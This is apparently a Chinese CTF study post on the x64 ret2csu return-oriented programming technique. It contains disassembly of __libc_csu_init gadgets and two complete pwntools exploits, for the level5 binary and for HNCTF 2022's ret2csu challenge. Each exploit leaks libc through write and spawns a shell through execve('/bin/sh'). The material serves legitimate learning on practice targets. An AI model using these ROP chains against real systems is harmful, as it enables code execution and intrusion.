ret2csu
原理:
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,
但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。
这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。
这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一般会存在。
我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
这段汇编代码一般是这么利用:
1:
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
####
ret到
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp 此处 rbp 与 rbx 不可相同,相同则跳到别的地方了
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8 ##随便填充就好
.text:000000000040061A pop rbx ##随便填充就好
.text:000000000040061B pop rbp ##随便填充就好
.text:000000000040061C pop r12 ##随便填充就好
.text:000000000040061E pop r13 ##随便填充就好
.text:0000000000400620 pop r14 ##随便填充就好
.text:0000000000400622 pop r15 ##随便填充就好
.text:0000000000400624 retn ###### 这里返回到重新开始的地方
如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
基本利用思路如下
1️⃣利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
2️⃣根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
3️⃣再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
4️⃣再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。
直接上EXP
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
再来比葫芦画瓢来道:HNCTF ret2csu(2022)
主函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(_bss_start, 0LL);
write(1, "Start Your Exploit!\n", 0x14uLL);
vuln();
return 0;
}
vuln函数:
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
write(1, "Input:\n", 7uLL);
read(0, buf, 0x200uLL);
return write(1, "Ok.\n", 4uLL);
}
几乎一样的模板,再来看__libc_csu_init(这里只展示需要使用的部分)
.text:0000000000401290 4C 89 F2 mov rdx, r14
.text:0000000000401293 4C 89 EE mov rsi, r13
.text:0000000000401296 44 89 E7 mov edi, r12d
.text:0000000000401299 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401299
.text:000000000040129D 48 83 C3 01 add rbx, 1
.text:00000000004012A1 48 39 DD cmp rbp, rbx
.text:00000000004012A4 75 EA jnz short loc_401290
.text:00000000004012A4
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 48 83 C4 08 add rsp, 8
.text:00000000004012AA 5B pop rbx
.text:00000000004012AB 5D pop rbp
.text:00000000004012AC 41 5C pop r12
.text:00000000004012AE 41 5D pop r13
.text:00000000004012B0 41 5E pop r14
.text:00000000004012B2 41 5F pop r15
.text:00000000004012B4 C3 retn
剖析这段代码,可得输入寄存器与程序实际运行寄存器的对应表
(建议做个表格使之相对应)
rbx | rbp | r12 | r13 | r14 | r15 |
---|---|---|---|---|---|
0 | 1 | edi | rsi | rdx | call |
然后就直接上代码了
from pwn import *
from LibcSearcher import LibcSearcher
file_name='ret2csu'
elf = ELF(file_name)
debug = 1
if debug:
io = remote('node5.anna.nssctf.cn',28938)
else:
io = process(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = 0x401220
bss_base = elf.bss()
csu_front_addr = 0x000401290
csu_end_addr = 0x0004012AA
fakeebp = b'b' * 0x8
#gdb.attach(io)
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = b'a'*0x100 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a'*0x38
payload += p64(last)
io.send(payload)
sleep(1)
io.recvuntil('Input:\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
#pause()
csu(0, 1, 1, write_got, 8, write_got, main_addr)
io.recvuntil('Ok.\n')
write_addr = u64(io.recv(8))
success('write_got=>'+hex(write_got))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
io.recvuntil('Input:\n')
csu(0, 1, 0, bss_base, 16, read_got, main_addr)
io.recvuntil('Ok.\n')
io.send(p64(execve_addr) + b'/bin/sh\x00')
io.recvuntil('Input:\n')
## execve(bss_base+8)
csu(0, 1, bss_base + 8, 0, 0, bss_base , main_addr)
io.recvuntil('Ok.\n')
io.interactive()
注意的是如果 main_addr即重新开始的地址如果是 libc.symbols[‘main’] 会在第三个 初始化
setbuf(_bss_start, 0LL)
cmp qword ptr [rdi + 8], r13
处报错,原因盲猜是执行了execve函数,可能学长出题的时候故意设置的吧,但是解决这个很简单,重新开始的时候从这一段代码之后重新开始就好
剩下的拓展就copy ctfwiki了
思考
改进 ¶
在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法
改进 1 - 提前控制 RBX 与 RBP¶
可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。
改进 2 - 多次利用 ¶
其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件
- 漏洞可以被多次触发
- 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。
当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。
gadget¶
其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。
需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器
- 利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
- 利用中间部分的代码控制了 rdx,rsi,edi。
而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,**可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在 0x0000000000400621 处可以控制 rsi 寄存器。**而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。
gef➤ x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret
参考阅读 ¶
- http://wooyun.jozxing.cc/static/drops/papers-7551.html
- http://wooyun.jozxing.cc/static/drops/binary-10638.html